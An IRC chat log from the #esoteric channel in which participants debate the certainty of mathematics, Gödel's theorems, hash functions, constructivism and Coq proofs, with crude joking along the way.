PRIVMSG #esoteric :alise hey < 1269732891 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what was that earlier < 1269732899 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: i think theoretical abstractions need reality to be expressed. < 1269732903 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What was what, fax? < 1269732908 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :i do see the difference < 1269732911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: precisely, hash tables don't require collisions to break things :) < 1269732930 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Heheheh. < 1269732948 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Then it is a philosophical disagreement we have, and having reached the bottom layer of where rationality works, we should abandon the discussion immediately. :) < 1269732985 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: i see that - no prob :) < 1269733001 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise you told me to correct something -- what? < 1269733004 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Hmm... Esolang where programs consist of prime - 1 operations and next operation is selected by g(1+x) - 1 mod p (x + 1 mod p for branches). < 1269733013 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: rapido :P < 1269733027 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Well, I applaud your work on Enchilada and hope you'll visit here often. < 1269733041 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes butwhat did he say? < 1269733048 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: lol! < 1269733068 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: hey - at least i've made something runnable! < 1269733123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: that mathematical proofs were fallible < 1269733128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because "you need fallible humans to falsify them" < 1269733154 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :sounds like a word definition problem < 1269733155 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, that sounds very familiar < 1269733193 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :"Nice" properties of that include that program flow totally changes if program space is enlarged. < 1269733200 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :sound like the scientific approach - repeat and measure < 1269733207 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Science is not mathematics. < 1269733218 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: again we disagree < 1269733221 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Mathematics is the domain of the certain. Science is the domain of the uncertain, that which we must experiment on to determine. < 1269733239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Science is the art of building mathematical theories based on experiment. < 1269733270 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I dont think I agree with that < 1269733275 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Well, I think I have the evidence on my side. There are many mechanical proof checkers upon which a large part of mathematics has been formulated. < 1269733286 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Saying that mathematics is uncertain is a bit silly in light of that. < 1269733289 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mathematics is the art of producing absolute certainties based upon other absolute certainties or absolute declarations. < 1269733299 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You must be sure that your axioms are consistent. < 1269733303 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Beyond that, you can be sure. < 1269733325 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :i don't really agree with you guys < 1269733341 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: your romance with math is before 1935 < 1269733352 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ha! < 1269733363 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What are you trying to say? < 1269733376 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :In space of size 6, the execution order goes: 1,3,2,6,4,5,1... In space of size 10 it goes: 1,2,4,8,5,10,9,7,3,6,1... < 1269733378 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :When was Godel doing his stuff? < 1269733393 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: that math is much to great and complex and interesting to be certain < 1269733395 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: what's your g? < 1269733398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: '31 < 1269733425 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: First g with maximal order. 3 in first example, 2 in second. < 1269733436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: I really do invite you to go up to any of the many people who have worked on proof checkers, proof assistants, and laboriously defined and proved things in these systems - and say that to them. < 1269733441 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: and that axioms are not enough - godel has proved that < 1269733446 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You could start with the people who used a computer to prove the four-colour theorem. < 1269733457 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Axioms are not enough"? Godel says nothing of the sort. < 1269733458 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, he showed that axioms could not be shown to be consistent. < 1269733465 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No he didn't. < 1269733474 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :rapido: btw I think most people here are post-godel < 1269733480 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. Could not within the axiomatic system, wasn't it? < 1269733493 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :He showed that a theory of at least the strength of Peano Arithmetic can be either two things: < 1269733503 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :rapido: of course it is a big factor < 1269733503 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :sure - i'm more into popper <- an oldie also < 1269733510 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Consistent, or have a proof of its own consistency inside itself. < 1269733517 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah, right. That was it. < 1269733530 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. no consistent theory of sufficient strength contains a proof of its own consistency < 1269733538 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: that's one way of putting it < 1269733541 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's the second theorem. < 1269733551 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... That's what he... Said... < 1269733554 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The first is that a theory at least as strong as PA can either be consistent or complete. < 1269733573 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: i think you left out the +1 -1 bits in your examples. although that may be a good thing. < 1269733588 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :your definition is inconsistent with the ones that are usually given < 1269733592 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: what i don't understand is that you allow proof checkers < 1269733607 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: What's to not understand? < 1269733609 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Perhaps you do not understand what a proof checker is. < 1269733614 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :why do you rely on faulty memory < 1269733624 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Of course branch jumps are pretty incompatible with general flow (but that's a "feature"). < 1269733625 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: i perfectly understand. < 1269733626 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: so, first primitive root < 1269733631 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Your appeal to errors in memory to demonstrate that mathematics is uncertain is really poor. < 1269733635 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :do you trust the compiler < 1269733636 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Yes. < 1269733647 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :has the compiler been proved correctly? < 1269733652 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :what about the processor? < 1269733654 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :etc, etc < 1269733659 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Your appeal to human fallibility to demonstrate that mathematics is uncertain is also very poor. < 1269733659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For one, you can have RAM with so much error checking that it is physically impossible for it not to detect an error for the computation you are doing... < 1269733667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: There is an article about this. < 1269733669 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They are either correct or incorrect. This is certain. < 1269733670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Let me find it. < 1269733676 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://r6.ca/homework.html < 1269733678 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There. < 1269733718 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :rapido - of course the main thing people are forgetting is there's so much more to mathematics than formal proof < 1269733731 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: very true < 1269733734 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :(no there's not) < 1269733758 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: http://r6.ca/homework.html <- this i don't like < 1269733798 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Specify this. < 1269733812 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, he doesn't like URLs < 1269733816 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't have www., therefore it's nonsensical < 1269733825 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Darn it, fax is funnier < 1269733832 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Hmm... Is there point where one couldn't branch. That would correspond to gx = x + 1 mod p => (g-1)x = 1 mod p => x = (g-1)^-1 mod p. Since g > 1, g-1 > 0 and thus inverse exists... < 1269733839 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes back to feeling useless
< 1269733850 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, I couldn't understand the first sentence of that :( < 1269734000 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :See, his first mistake is thinking he could be novel. < 1269734003 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: x = g^(p-2) (mod p) < 1269734009 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :er wait < 1269734019 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(g-1)^(p-2) < 1269734067 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is a novel.
< 1269734083 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: 'For one, you can have RAM with so much error checking that it is physically impossible for it not to detect an error for the computation you are doing...' < 1269734127 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: for one, you can have hashes with so many bits that it is physically impossible not to detect an error for the computation you are doing... < 1269734143 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269734155 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :now i will stop moaning about hashes < 1269734164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: no that's false < 1269734171 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because if the output domain is smaller than the input - the definition of a hash < 1269734181 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it is MATHEMATICALLY IMPOSSIBLE for it to do what you want... < 1269734189 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, I think rapido is trying to make an analogy? < 1269734189 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has his laptop spontaneously quantum tunnel into a state where it thinks 2+2=5
< 1269734200 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :the checking bits of faulty ram is smaller than the ram < 1269734248 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :you can't have absolutely perfect ram < 1269734265 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :MATHEMATICALLY IMPOSSIBLE -- the most kind of impossible there is < 1269734291 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I was reading this algebra book right < 1269734294 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION lossessly compresses everyone into a bit.
< 1269734298 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and they were saying: Lets solve some equation: ... < 1269734300 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: no, the most kind of impossible there is - is god < 1269734308 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Actually, you can have infinitely outputting hash functions. < 1269734313 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and to 'solve it' they just invent a NEW number system... which has a new element in it... which solves the equation < 1269734315 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :e.g., sponge constructions < 1269734317 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's cheating! < 1269734351 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :rapido oh you're another of the atheist people I guess -_- < 1269734352 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :dixon: a sponge bob - another hero if mine! < 1269734364 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :if <- of < 1269734369 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1269734376 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: hm that's a bit rough. it can be useful for some things, though. (witness complex numbers.) < 1269734386 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, what were your dictatorship plans? I think it's safe to discuss them now < 1269734401 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, yeah one of the excercise was: solve the following equation x^2+1 < 1269734406 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Although those are more useful for stream ciphers than actual hashes. I'm sure their proofs of security are only for a finite amount of output before they hit a cycle or something. < 1269734410 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :fax, BWUH? < 1269734411 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's not an equation < 1269734416 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1269734417 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :=0 < 1269734418 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: is your definition of "one of the atheist people" "someone who doesn't believe in god" < 1269734426 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :nice smiley :D < 1269734430 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is an atheist person.
< 1269734433 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :fax: (set it equal to 0 and tell him he's lame) < 1269734459 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :do you believe in angels? < 1269734466 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :dixon: uuuh - i need to study your reference to sponge constructions < 1269734472 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1269734481 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :of course, and I beleive in paralell lines too < 1269734483 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: adding roots of polynomials in that way is a fundamental tool of galois theory iirc < 1269734489 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION does not believe in anything that would commonly be considered to be supernatural.
< 1269734491 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi zzo73 < 1269734501 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :rapido: http://sponge.noekeon.org/ < 1269734509 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, hm < 1269734509 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :http://sponge.noekeon.org/SpongeFunctions.pdf < 1269734510 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :i could believe in god and still find the concept of god to be impossible < 1269734514 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :such is believe < 1269734539 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although if you are inside the complex numbers to start with, you don't really need to go outside them < 1269734549 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :dixan: ah, thanks! < 1269734561 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :rapido: They're cryptographic hashes, however. < 1269734583 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :dixon: cryptographic hashes are the only ones i'm considering < 1269734615 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what if you believe in angels but don't believe in god? < 1269734628 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pokes alise
< 1269734644 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :rapido: But yes, by definition they're surjective when useful and thus have collisions. < 1269734659 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo what abou gravity < 1269734663 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's supernatural < 1269734664 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :lament: Then you must've seen my girlfriend. < 1269734666 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :lament: then you would be a flying lunatic with wings < 1269734670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: hi < 1269734684 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :fax, lolwhat? < 1269734690 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION blinks a few times
< 1269734694 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nobody has explained it yet < 1269734705 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's like ghosts or ufos or whatever < 1269734725 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: gravity is a scam by scientists. intelligent falling is the truth! < 1269734739 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :It exists, as demonstratably as possible. < 1269734757 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :it's God's Hand Pushing us Down From Eden < 1269734760 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well intelligent falling is a much better explanation by occams razor but it does leave some key questions open < 1269734761 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Ghosts and UFOs have not been observed by any measurements. < 1269734773 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :dixon: all that i want is a naming service that is scalable < 1269734788 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :rapido, let the name of the proof be the content of the proof. < 1269734791 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: no that would be more the coriolis force. eden is in the east, iirc < 1269734797 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo - oh that's true I guess < 1269734803 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :What doe sthat mean, intelligent falling?? < 1269734806 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :fax, it is not a better explanation by occams razor < 1269734816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Playing with Coq in Jack" -- paper title < 1269734820 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :The reason otyugh attack with only two tentacles is because one tentacle has three eyes. < 1269734820 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: but proofs can be huge - think of computer generated proofs < 1269734822 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :occams razor refers to the amount of assumptions an explanation requires < 1269734832 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: intelligent falling is the demonstratable fact that gravity is a lie and all things are actually being pushed down by god individually < 1269734844 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :alise: That cannot be demonstratable < 1269734845 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise... how you have possibly managed to find a coq paper I haven't read O_O < 1269734858 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Mostly because it doesn't work. < 1269734886 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: http://en.wikipedia.org/wiki/Intelligent_falling < 1269734888 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :If you want to say God invented gravity, that's different however. Still not provable, though < 1269734899 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :falsifiable < 1269734904 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I get the feeling that I should learn Coq < 1269734908 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Using bigger words make you sound smarter. < 1269734911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: googling for unrelated things < 1269734920 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: IT WORKS!!!! < 1269734926 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now how do I do nested theorems in coq < 1269734933 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :See, we don't fall off the earth! < 1269734943 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: I wouldn't bother. You'd be in the same boat as the Haskellingtons masturbating to the Curry-Howard isomorphism. < 1269734953 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION knows a bit of Haskell
< 1269734964 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :HEY LOOK GUYS I CAN PRETEND I'M A MATHEMATICIAN BECAUSE I CAN WRITE PROOFS IN COQ fapfapfapfapfap etc < 1269734971 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should probably learn what the Curry-Howard isomorphism
< 1269734973 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :*is < 1269734981 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo it's nothing very deep < 1269734986 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :alise: What I mean is the proof desn't work. < 1269734992 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :s/desn't/doesn't/ < 1269734993 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo -- just a notationally similarity between proof systems and type systems < 1269734999 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :notational < 1269735003 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has _never_ masturbated to the curry-howard isomorphism. should i try it?
< 1269735014 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: It says if you can make a type to represent a theorem and then find a value that satisfies the type, you prove the theorem. < 1269735020 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :look.... the coq has giving me sign - it's hanging low - it's time to go to bed.... later ... < 1269735040 0 :rapido!unknown@unknown.invalid QUIT :Quit: rapido < 1269735306 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: on facebook: Jack Coq Hardi < 1269735306 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Jack Coq Hardi < 1269735307 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Not the Jack Coq Hardi you were looking for? Search more » < 1269735347 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Jacking off Coqs in Jack < 1269735380 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :guh, constructing a sigma is a bitch in a coq proof < 1269735403 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the coq sigma stigma < 1269735406 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :a sigma algebra? < 1269735420 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise just give the value and prove it correct using tactics < 1269735432 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah but I want to give the value using proof syntax < 1269735440 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :a sigma algebra? < 1269735448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so I put it in another top-level theorem, which is a bitch. and then I have to do it all separately in another theorem < 1269735450 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it's all fffffffffff < 1269735460 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dixon: unlikely. < 1269735473 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :He couldn't have meant a series? < 1269735478 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not that i'm _sure_ alise doesn't know what that is, but... < 1269735527 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, for one thing alise only does constructivist things, i doubt sigma algebras qualify < 1269735561 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you know constructivism isn't some crazy fringe philosophy :) < 1269735569 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes it is :P < 1269735570 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Yes it is. < 1269735585 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :And it's a boring one, because it's shit that's been done since the 1800's. < 1269735660 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269735695 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dixon: but it's very useful for masturbating to the curry-howard isomorphism, i hear < 1269735707 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ducks
< 1269735724 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I lol'd < 1269735786 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Next all he has to say is he's a finitist < 1269735793 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It may be boring and old but who cares? < 1269735801 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION masturbates to finite sequences
< 1269735804 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dixon: fax is a finitist < 1269735804 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269735806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so... < 1269735813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you're looking at the wrong person I'm very much a believer in infinities < 1269735835 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, but I already think fax is an idiot. < 1269735848 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Yay! Infinities. < 1269735857 0 :Quadrescence!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1269735862 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :now where did you get THAT idea? < 1269735904 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Mainly your berating me for not knowing anything 15 minutes after you claimed the exponential function wasn't hypergeometric. < 1269735949 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh fuck off < 1269735964 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it was long before that < 1269736015 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Granted being a constructivist and finitist would've just made me think you were a Zeilberger clone, and then I'd have to decide if you were thinking for yourself (in which case you would've been cool) or if you were just a copycat (in which case you would be an idiot). < 1269736043 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric ::3 < 1269736049 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps we are using different definitions of constructivist. < 1269736073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I merely believe that an object must be constructed in some formal language to be proved to exist; or in the case of a proposition, a demonstration of it. < 1269736074 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Looking at the page I found a lot of other things and links to pages about quantum mechanics, and so on. I have a lot of my own ideas about quantum mechanics, some of which are different from other ones. (But some ideas are similar, and have been figured out independently by me but other people generally figure it out more in the past, because they are scientists and I'm not) < 1269736083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So basically I reject the law of the excluded middle and correspondingly ~~p -> p. < 1269736086 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That isn't really so crazy. < 1269736182 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :dixon I wasn't berating you for not knowing anything anyway, you were making some ridiculoulsy stretched joke about 'dixons identity' < 1269736314 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I also reject the law of excluded middle but only in some contexts. You can use tristate logic with quantum superposition/entanglement and with presuppose (so for some proposition P you could make Pre(P)) and a new kind of imply operator, distinct from the old one (but both of which are used, for different purposes). < 1269736352 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :zzo38 have you read any linear logic? < 1269736378 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :There are then three truth values instead of two values. The standard operators still act in the standard way when dealing with only standard truth values. < 1269736389 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: I reject the law of the excluded middle because I believe that axioms not in the current system that nevertheless are fine to add are neither true nor false. < 1269736399 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You cannot prove them true, you cannot prove them false; it is fine to add their negation, it is fine to add them. < 1269736418 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So if you could say it is true, then the negation would be inconsistent, and vice-versa, yet this is not the case. < 1269736433 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :alise: There certainly can be things that are neither true nor false. < 1269736464 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :moral dilemma: I followed a link allegedly to Rick Astley rickrolling someone himself < 1269736469 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it was actually what it claimed to be, rather than a rickroll < 1269736474 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Is'nt the law of the excluded middle about statements that can be derived from the axiomatic system in question? < 1269736474 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :have I been meta-rickrolled? < 1269736476 0 